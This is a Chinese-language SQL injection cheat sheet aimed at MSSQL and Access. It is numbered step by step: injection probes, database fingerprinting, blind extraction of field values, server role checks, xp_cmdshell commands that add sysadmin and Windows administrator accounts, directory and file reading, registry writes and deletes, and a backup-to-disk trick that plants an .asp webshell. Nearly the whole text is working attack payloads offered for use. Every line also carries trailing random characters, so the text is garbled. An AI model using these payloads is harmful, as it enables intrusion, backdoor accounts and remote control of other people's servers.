1.判断是否有注入;and 1=1 ;and 1=2 n;wViw
2.初步判断是否是mssql ;and user>0 -F_cBu81V
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3.注入参数是字符'and [查询条件] and ''=' -kHJH><j
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ZsSW{ffZ77
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5.判断数据库系统 9sI&d
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;and (select count(*) from sysobjects)>0 mssql 29cx(
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;and (select count(*) from msysobjects)>0 access H4W!Md
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 4U~'Oa@p
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 AN3oh1xe:
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9.(1)猜字段的ascii值(access) uQ|LkL%<^
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 >'4$g7o,
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(2)猜字段的ascii值(mssql) O(VWJ@EHn
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 h=\1ZQKC)
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10.测试权限结构(mssql) :W6'G@ p
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- }zxf~41
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- d2d8,Vg
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #-PMREgO
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- )B+R|PZ,
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- :J_UXtx
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- kvuRT`/
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;and 1=(select IS_MEMBER('db_owner'));-- %hN(79:g
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11.添加mssql和系统的帐户 dNY'uv&Y
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;exec master.dbo.sp_addlogin username;-- M$.bC0}T
;exec master.dbo.sp_password null,username,password;-- ]*'_a@h
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- :3XvHL0rx
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;exec master.dbo.xp_cmdshell 'net user username password xf/K+
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- EpKZ.lCU
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- A,t g268
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 1LSJy*yY
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12.(1)遍历目录 ezbk@no
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;create table dirs(paths varchar(100), id int) QIU%!9Y
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;insert dirs exec master.dbo.xp_dirtree 'c:\' uL-kihV:-
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;and (select top 1 paths from dirs)>0 `7y3C\zyQ
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) EPLHw
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(2)遍历目录 W`JI/
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- h$$JXf
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 UMBeY[?
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 aM1WC 'c&)
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 0PFC%x
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 bv(+$YR
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13.mssql中的存储过程 J Q*~le*
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xp_regenumvalues 注册表根键, 子键 CdCY#$Z
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 % rnRy<9
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xp_regread 根键,子键,键值名 *P7n YjG
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;exec xp_regread z=>P jIW
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 yB*aG
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xp_regwrite 根键,子键, 值名, 值类型, 值 s nxwe
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 f>mEX='w
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ak3WER|f#
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xp_regdeletevalue 根键,子键,值名 H&F2[ j$T
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 @W(,|xES
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 d/*EuJYin<
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14.mssql的backup创建webshell >tL"8@z9
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use model 2y8FP#
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create table cmd(str image); Ssa/;O2
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insert into cmd(str) values (''); F3Vvqt*2
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backup database model to disk='c:\l.asp'; UQ^
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15.mssql内置函数 r`u 9MJ*
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;and (select @@version)>0 获得Windows的版本号 Ai)Q(]
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa hiR+cPSF
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;and (select user_name())>0 爆当前系统的连接用户 =PLy^%
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;and (select db_name())>0 得到当前连接的数据库 }zeKf/?'
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16.简洁的webshell Hpp;dG
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use model !$o9:[B
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create table cmd(str image); tjm@+xs
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insert into cmd(str) values (''); E@="n<uS
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backup database model to disk='g:\wwwtest\l.asp';